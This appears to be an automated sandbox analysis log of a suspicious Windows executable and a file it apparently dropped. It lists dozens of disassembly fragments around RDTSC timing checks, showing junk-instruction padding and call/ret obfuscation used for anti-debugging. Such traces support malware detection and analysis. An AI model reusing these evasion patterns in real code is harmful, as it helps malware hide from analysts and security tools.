Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 510071B second address: 51006E0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007EFC80C0D651h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 test al, al 0x0000000b jmp 00007EFC80C0D64Eh 0x00000010 jne 00007EFC80C0D5D6h 0x00000016 mov al, byte ptr [edx] 0x00000018 pushad 0x00000019 mov di, si 0x0000001c push eax 0x0000001d push edx 0x0000001e pushad 0x0000001f popad 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51008AD second address: 51008B3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51008B3 second address: 51008CE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [ebp-04h], FFFFFFFEh 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007EFC80C0D64Ah 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51008CE second address: 51008D4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51008D4 second address: 51008D8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51008D8 second address: 510095F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, ebx 0x0000000a jmp 00007EFC80C379A9h 0x0000000f mov ecx, dword ptr [ebp-10h] 0x00000012 jmp 00007EFC80C3799Eh 0x00000017 mov dword ptr fs:[00000000h], ecx 0x0000001e jmp 00007EFC80C379A0h 0x00000023 pop ecx 0x00000024 jmp 00007EFC80C379A0h 0x00000029 pop edi 0x0000002a jmp 00007EFC80C379A0h 0x0000002f pop esi 0x00000030 push eax 0x00000031 push edx 0x00000032 jmp 00007EFC80C379A7h 0x00000037 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 510095F second address: 5100965 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5100965 second address: 5100969 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Documents\KJJJKFIIIJ.exe	RDTSC instruction interceptor: First address: FDC24A second address: FDC251 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Documents\KJJJKFIIIJ.exe	RDTSC instruction interceptor: First address: FDB25F second address: FDB267 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push edx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Documents\KJJJKFIIIJ.exe	RDTSC instruction interceptor: First address: FDB267 second address: FDB26E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 rdtsc
Source: C:\Users\user\Documents\KJJJKFIIIJ.exe	RDTSC instruction interceptor: First address: FDB518 second address: FDB51E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Documents\KJJJKFIIIJ.exe	RDTSC instruction interceptor: First address: FDB51E second address: FDB529 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007EFC80C0D646h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Documents\KJJJKFIIIJ.exe	RDTSC instruction interceptor: First address: FDB9D8 second address: FDB9DF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Documents\KJJJKFIIIJ.exe	RDTSC instruction interceptor: First address: FDEF4C second address: FDEF50 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Documents\KJJJKFIIIJ.exe	RDTSC instruction interceptor: First address: FDEF50 second address: FDEFB4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jo 00007EFC80C37996h 0x00000009 jmp 00007EFC80C379A7h 0x0000000e popad 0x0000000f pop edx 0x00000010 pop eax 0x00000011 xor dword ptr [esp], 514676F1h 0x00000018 push 00000000h 0x0000001a push ecx 0x0000001b call 00007EFC80C37998h 0x00000020 pop ecx 0x00000021 mov dword ptr [esp+04h], ecx 0x00000025 add dword ptr [esp+04h], 0000001Bh 0x0000002d inc ecx 0x0000002e push ecx 0x0000002f ret 0x00000030 pop ecx 0x00000031 ret 0x00000032 lea ebx, dword ptr [ebp+12453D8Bh] 0x00000038 mov esi, dword ptr [ebp+122D2C1Ah] 0x0000003e push eax 0x0000003f push eax 0x00000040 push edx 0x00000041 jc 00007EFC80C37998h 0x00000047 pushad 0x00000048 popad 0x00000049 rdtsc
Source: C:\Users\user\Documents\KJJJKFIIIJ.exe	RDTSC instruction interceptor: First address: FDF019 second address: FDF01E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Documents\KJJJKFIIIJ.exe	RDTSC instruction interceptor: First address: FDF01E second address: FDF043 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pushad 0x00000004 popad 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], eax 0x0000000b and cx, 7E05h 0x00000010 push 00000000h 0x00000012 mov edi, dword ptr [ebp+122D2D9Eh] 0x00000018 push 03A5E2D1h 0x0000001d push eax 0x0000001e push edx 0x0000001f pushad 0x00000020 pushad 0x00000021 popad 0x00000022 push esi 0x00000023 pop esi 0x00000024 popad 0x00000025 rdtsc
Source: C:\Users\user\Documents\KJJJKFIIIJ.exe	RDTSC instruction interceptor: First address: FDF043 second address: FDF0C5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jne 00007EFC80C0D646h 0x00000009 jns 00007EFC80C0D646h 0x0000000f popad 0x00000010 pop edx 0x00000011 pop eax 0x00000012 xor dword ptr [esp], 03A5E251h 0x00000019 stc 0x0000001a push 00000003h 0x0000001c push 00000000h 0x0000001e push edx 0x0000001f call 00007EFC80C0D648h 0x00000024 pop edx 0x00000025 mov dword ptr [esp+04h], edx 0x00000029 add dword ptr [esp+04h], 00000017h 0x00000031 inc edx 0x00000032 push edx 0x00000033 ret 0x00000034 pop edx 0x00000035 ret 0x00000036 mov edx, edi 0x00000038 mov esi, dword ptr [ebp+122D2E56h] 0x0000003e movsx ecx, cx 0x00000041 push 00000000h 0x00000043 push 00000000h 0x00000045 push edi 0x00000046 call 00007EFC80C0D648h 0x0000004b pop edi 0x0000004c mov dword ptr [esp+04h], edi 0x00000050 add dword ptr [esp+04h], 0000001Bh 0x00000058 inc edi 0x00000059 push edi 0x0000005a ret 0x0000005b pop edi 0x0000005c ret 0x0000005d push 00000003h 0x0000005f mov dx, si 0x00000062 push 4885923Ah 0x00000067 push ecx 0x00000068 push eax 0x00000069 push edx 0x0000006a jmp 00007EFC80C0D64Ah 0x0000006f rdtsc
Source: C:\Users\user\Documents\KJJJKFIIIJ.exe	RDTSC instruction interceptor: First address: FDF0C5 second address: FDF0C9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Documents\KJJJKFIIIJ.exe	RDTSC instruction interceptor: First address: FDF16D second address: FDF17D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007EFC80C0D64Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Documents\KJJJKFIIIJ.exe	RDTSC instruction interceptor: First address: FF02EE second address: FF02F6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push ecx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Documents\KJJJKFIIIJ.exe	RDTSC instruction interceptor: First address: FFE738 second address: FFE746 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007EFC80C0D64Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Documents\KJJJKFIIIJ.exe	RDTSC instruction interceptor: First address: FFE746 second address: FFE758 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007EFC80C3799Eh 0x00000009 rdtsc
Source: C:\Users\user\Documents\KJJJKFIIIJ.exe	RDTSC instruction interceptor: First address: FFE758 second address: FFE770 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007EFC80C0D646h 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pop edx 0x0000000d pop eax 0x0000000e jbe 00007EFC80C0D666h 0x00000014 push eax 0x00000015 push edx 0x00000016 push edi 0x00000017 pop edi 0x00000018 rdtsc
Source: C:\Users\user\Documents\KJJJKFIIIJ.exe	RDTSC instruction interceptor: First address: FFE770 second address: FFE774 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Documents\KJJJKFIIIJ.exe	RDTSC instruction interceptor: First address: FFE774 second address: FFE77A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Documents\KJJJKFIIIJ.exe	RDTSC instruction interceptor: First address: FFE9DC second address: FFEA1C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007EFC80C3799Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 js 00007EFC80C379A3h 0x0000000f jmp 00007EFC80C3799Bh 0x00000014 push ebx 0x00000015 pop ebx 0x00000016 push eax 0x00000017 push edx 0x00000018 jmp 00007EFC80C379A5h 0x0000001d push eax 0x0000001e push edx 0x0000001f pushad 0x00000020 popad 0x00000021 rdtsc
Source: C:\Users\user\Documents\KJJJKFIIIJ.exe	RDTSC instruction interceptor: First address: FFEA1C second address: FFEA28 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 js 00007EFC80C0D646h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Documents\KJJJKFIIIJ.exe	RDTSC instruction interceptor: First address: FFEEC5 second address: FFEECE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Documents\KJJJKFIIIJ.exe	RDTSC instruction interceptor: First address: FFEECE second address: FFEED6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Documents\KJJJKFIIIJ.exe	RDTSC instruction interceptor: First address: FFEED6 second address: FFEEDA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Documents\KJJJKFIIIJ.exe	RDTSC instruction interceptor: First address: FFEEDA second address: FFEEFE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007EFC80C0D655h 0x00000007 push esi 0x00000008 pop esi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c jg 00007EFC80C0D646h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Documents\KJJJKFIIIJ.exe	RDTSC instruction interceptor: First address: FFEEFE second address: FFEF11 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007EFC80C3799Ah 0x0000000e rdtsc
Source: C:\Users\user\Documents\KJJJKFIIIJ.exe	RDTSC instruction interceptor: First address: FFF341 second address: FFF345 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Documents\KJJJKFIIIJ.exe	RDTSC instruction interceptor: First address: FD01AF second address: FD01B5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Documents\KJJJKFIIIJ.exe	RDTSC instruction interceptor: First address: FFF4E5 second address: FFF4EF instructions: 0x00000000 rdtsc 0x00000002 jne 00007EFC80C0D652h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Documents\KJJJKFIIIJ.exe	RDTSC instruction interceptor: First address: FFF4EF second address: FFF4F5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Documents\KJJJKFIIIJ.exe	RDTSC instruction interceptor: First address: FFFC0C second address: FFFC25 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007EFC80C0D64Dh 0x00000007 push eax 0x00000008 push edx 0x00000009 js 00007EFC80C0D646h 0x0000000f push ebx 0x00000010 pop ebx 0x00000011 rdtsc
Source: C:\Users\user\Documents\KJJJKFIIIJ.exe	RDTSC instruction interceptor: First address: FFFD8E second address: FFFD94 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Documents\KJJJKFIIIJ.exe	RDTSC instruction interceptor: First address: 10001FD second address: 1000209 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007EFC80C0D646h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Documents\KJJJKFIIIJ.exe	RDTSC instruction interceptor: First address: 1000209 second address: 100022B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 jmp 00007EFC80C379A9h 0x0000000b pushad 0x0000000c popad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Documents\KJJJKFIIIJ.exe	RDTSC instruction interceptor: First address: 100022B second address: 1000245 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007EFC80C0D655h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Documents\KJJJKFIIIJ.exe	RDTSC instruction interceptor: First address: 1003ACA second address: 1003ACE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Documents\KJJJKFIIIJ.exe	RDTSC instruction interceptor: First address: 100409F second address: 10040A5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Documents\KJJJKFIIIJ.exe	RDTSC instruction interceptor: First address: 1002FD3 second address: 1003004 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 je 00007EFC80C37998h 0x0000000c push ebx 0x0000000d pop ebx 0x0000000e popad 0x0000000f push eax 0x00000010 pushad 0x00000011 pushad 0x00000012 jmp 00007EFC80C379A8h 0x00000017 pushad 0x00000018 popad 0x00000019 popad 0x0000001a push eax 0x0000001b push edx 0x0000001c push edx 0x0000001d pop edx 0x0000001e rdtsc
Source: C:\Users\user\Documents\KJJJKFIIIJ.exe	RDTSC instruction interceptor: First address: 1003004 second address: 1003008 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Documents\KJJJKFIIIJ.exe	RDTSC instruction interceptor: First address: 1004145 second address: 100414B instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Documents\KJJJKFIIIJ.exe	RDTSC instruction interceptor: First address: 100429D second address: 10042AA instructions: 0x00000000 rdtsc 0x00000002 jo 00007EFC80C0D646h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push esi 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Documents\KJJJKFIIIJ.exe	RDTSC instruction interceptor: First address: 100C107 second address: 100C124 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jc 00007EFC80C37996h 0x0000000a jmp 00007EFC80C379A3h 0x0000000f rdtsc
Source: C:\Users\user\Documents\KJJJKFIIIJ.exe	RDTSC instruction interceptor: First address: 100BC3A second address: 100BC54 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push edi 0x00000009 jmp 00007EFC80C0D64Eh 0x0000000e push esi 0x0000000f pop esi 0x00000010 pop edi 0x00000011 rdtsc
Source: C:\Users\user\Documents\KJJJKFIIIJ.exe	RDTSC instruction interceptor: First address: 100BC54 second address: 100BC5B instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push edx 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Documents\KJJJKFIIIJ.exe	RDTSC instruction interceptor: First address: 100BDC2 second address: 100BDCD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ecx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Documents\KJJJKFIIIJ.exe	RDTSC instruction interceptor: First address: 100BDCD second address: 100BDE3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push edi 0x00000006 push edi 0x00000007 pop edi 0x00000008 push eax 0x00000009 pop eax 0x0000000a pop edi 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 jl 00007EFC80C37996h 0x00000016 rdtsc
Source: C:\Users\user\Documents\KJJJKFIIIJ.exe	RDTSC instruction interceptor: First address: 100BDE3 second address: 100BDED instructions: 0x00000000 rdtsc 0x00000002 jp 00007EFC80C0D646h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Documents\KJJJKFIIIJ.exe	RDTSC instruction interceptor: First address: 100BF3D second address: 100BF49 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007EFC80C37996h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Documents\KJJJKFIIIJ.exe	RDTSC instruction interceptor: First address: 100BF49 second address: 100BF6E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 jmp 00007EFC80C0D651h 0x0000000b pushad 0x0000000c popad 0x0000000d popad 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 push edi 0x00000012 pushad 0x00000013 popad 0x00000014 pop edi 0x00000015 push eax 0x00000016 push edx 0x00000017 push eax 0x00000018 pop eax 0x00000019 rdtsc
Source: C:\Users\user\Documents\KJJJKFIIIJ.exe	RDTSC instruction interceptor: First address: 100BF6E second address: 100BF7A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jp 00007EFC80C37996h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Documents\KJJJKFIIIJ.exe	RDTSC instruction interceptor: First address: 100BF7A second address: 100BF80 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Documents\KJJJKFIIIJ.exe	RDTSC instruction interceptor: First address: 100BF80 second address: 100BF84 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Documents\KJJJKFIIIJ.exe	RDTSC instruction interceptor: First address: 100C822 second address: 100C82C instructions: 0x00000000 rdtsc 0x00000002 jno 00007EFC80C0D646h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Documents\KJJJKFIIIJ.exe	RDTSC instruction interceptor: First address: 100C82C second address: 100C832 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Documents\KJJJKFIIIJ.exe	RDTSC instruction interceptor: First address: 100C8E6 second address: 100C90A instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 jns 00007EFC80C0D646h 0x00000009 pop edx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d jnp 00007EFC80C0D66Ch 0x00000013 push eax 0x00000014 push edx 0x00000015 jmp 00007EFC80C0D64Fh 0x0000001a rdtsc
Source: C:\Users\user\Documents\KJJJKFIIIJ.exe	RDTSC instruction interceptor: First address: 100C90A second address: 100C946 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007EFC80C379A1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [esp+04h] 0x0000000d jbe 00007EFC80C379ACh 0x00000013 js 00007EFC80C379A6h 0x00000019 jmp 00007EFC80C379A0h 0x0000001e mov eax, dword ptr [eax] 0x00000020 pushad 0x00000021 push eax 0x00000022 push edx 0x00000023 push eax 0x00000024 push edx 0x00000025 rdtsc
Source: C:\Users\user\Documents\KJJJKFIIIJ.exe	RDTSC instruction interceptor: First address: 100C946 second address: 100C94A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Documents\KJJJKFIIIJ.exe	RDTSC instruction interceptor: First address: 100C94A second address: 100C954 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push edx 0x00000009 pop edx 0x0000000a rdtsc
Source: C:\Users\user\Documents\KJJJKFIIIJ.exe	RDTSC instruction interceptor: First address: 100C954 second address: 100C958 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Documents\KJJJKFIIIJ.exe	RDTSC instruction interceptor: First address: 100C958 second address: 100C96D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov dword ptr [esp+04h], eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jng 00007EFC80C3799Ch 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Documents\KJJJKFIIIJ.exe	RDTSC instruction interceptor: First address: 100C96D second address: 100C971 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Documents\KJJJKFIIIJ.exe	RDTSC instruction interceptor: First address: 100C971 second address: 100C97B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jns 00007EFC80C37996h 0x0000000a rdtsc
Source: C:\Users\user\Documents\KJJJKFIIIJ.exe	RDTSC instruction interceptor: First address: 100C97B second address: 100C99B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007EFC80C0D64Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop eax 0x0000000c movsx esi, bx 0x0000000f push D927D4EEh 0x00000014 push eax 0x00000015 push edx 0x00000016 push ebx 0x00000017 push ecx 0x00000018 pop ecx 0x00000019 pop ebx 0x0000001a rdtsc
Source: C:\Users\user\Documents\KJJJKFIIIJ.exe	RDTSC instruction interceptor: First address: 100C99B second address: 100C9A1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Documents\KJJJKFIIIJ.exe	RDTSC instruction interceptor: First address: 100CC8D second address: 100CC93 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Documents\KJJJKFIIIJ.exe	RDTSC instruction interceptor: First address: 100CC93 second address: 100CC9C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Documents\KJJJKFIIIJ.exe	RDTSC instruction interceptor: First address: 100CC9C second address: 100CCA0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Documents\KJJJKFIIIJ.exe	RDTSC instruction interceptor: First address: 100CD9B second address: 100CDC7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007EFC80C3799Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jbe 00007EFC80C379A4h 0x0000000f jmp 00007EFC80C3799Eh 0x00000014 popad 0x00000015 push eax 0x00000016 push eax 0x00000017 push edx 0x00000018 push eax 0x00000019 push edx 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Documents\KJJJKFIIIJ.exe	RDTSC instruction interceptor: First address: 100CDC7 second address: 100CDCB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Documents\KJJJKFIIIJ.exe	RDTSC instruction interceptor: First address: 100CDCB second address: 100CDD5 instructions: 0x00000000 rdtsc 0x00000002 jno 00007EFC80C37996h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Documents\KJJJKFIIIJ.exe	RDTSC instruction interceptor: First address: 100CECB second address: 100CEE8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007EFC80C0D655h 0x0000000d rdtsc
Source: C:\Users\user\Documents\KJJJKFIIIJ.exe	RDTSC instruction interceptor: First address: 100D7CC second address: 100D7D0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Documents\KJJJKFIIIJ.exe	RDTSC instruction interceptor: First address: 100D9C3 second address: 100D9C7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Documents\KJJJKFIIIJ.exe	RDTSC instruction interceptor: First address: 100DACB second address: 100DB2F instructions: 0x00000000 rdtsc 0x00000002 ja 00007EFC80C37998h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push esi 0x0000000e pushad 0x0000000f jmp 00007EFC80C379A3h 0x00000014 pushad 0x00000015 popad 0x00000016 popad 0x00000017 pop esi 0x00000018 nop 0x00000019 push 00000000h 0x0000001b push eax 0x0000001c call 00007EFC80C37998h 0x00000021 pop eax 0x00000022 mov dword ptr [esp+04h], eax 0x00000026 add dword ptr [esp+04h], 00000015h 0x0000002e inc eax 0x0000002f push eax 0x00000030 ret 0x00000031 pop eax 0x00000032 ret 0x00000033 mov esi, dword ptr [ebp+122D2E9Eh] 0x00000039 xchg eax, ebx 0x0000003a js 00007EFC80C3799Eh 0x00000040 je 00007EFC80C37998h 0x00000046 push edx 0x00000047 pop edx 0x00000048 push eax 0x00000049 jc 00007EFC80C379A8h 0x0000004f push eax 0x00000050 push edx 0x00000051 push eax 0x00000052 push edx 0x00000053 rdtsc
Source: C:\Users\user\Documents\KJJJKFIIIJ.exe	RDTSC instruction interceptor: First address: 100DB2F second address: 100DB33 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Documents\KJJJKFIIIJ.exe	RDTSC instruction interceptor: First address: 100DFE6 second address: 100E000 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007EFC80C379A6h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Documents\KJJJKFIIIJ.exe	RDTSC instruction interceptor: First address: 100E000 second address: 100E00A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jl 00007EFC80C0D646h 0x0000000a rdtsc
Source: C:\Users\user\Documents\KJJJKFIIIJ.exe	RDTSC instruction interceptor: First address: 100E00A second address: 100E00E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
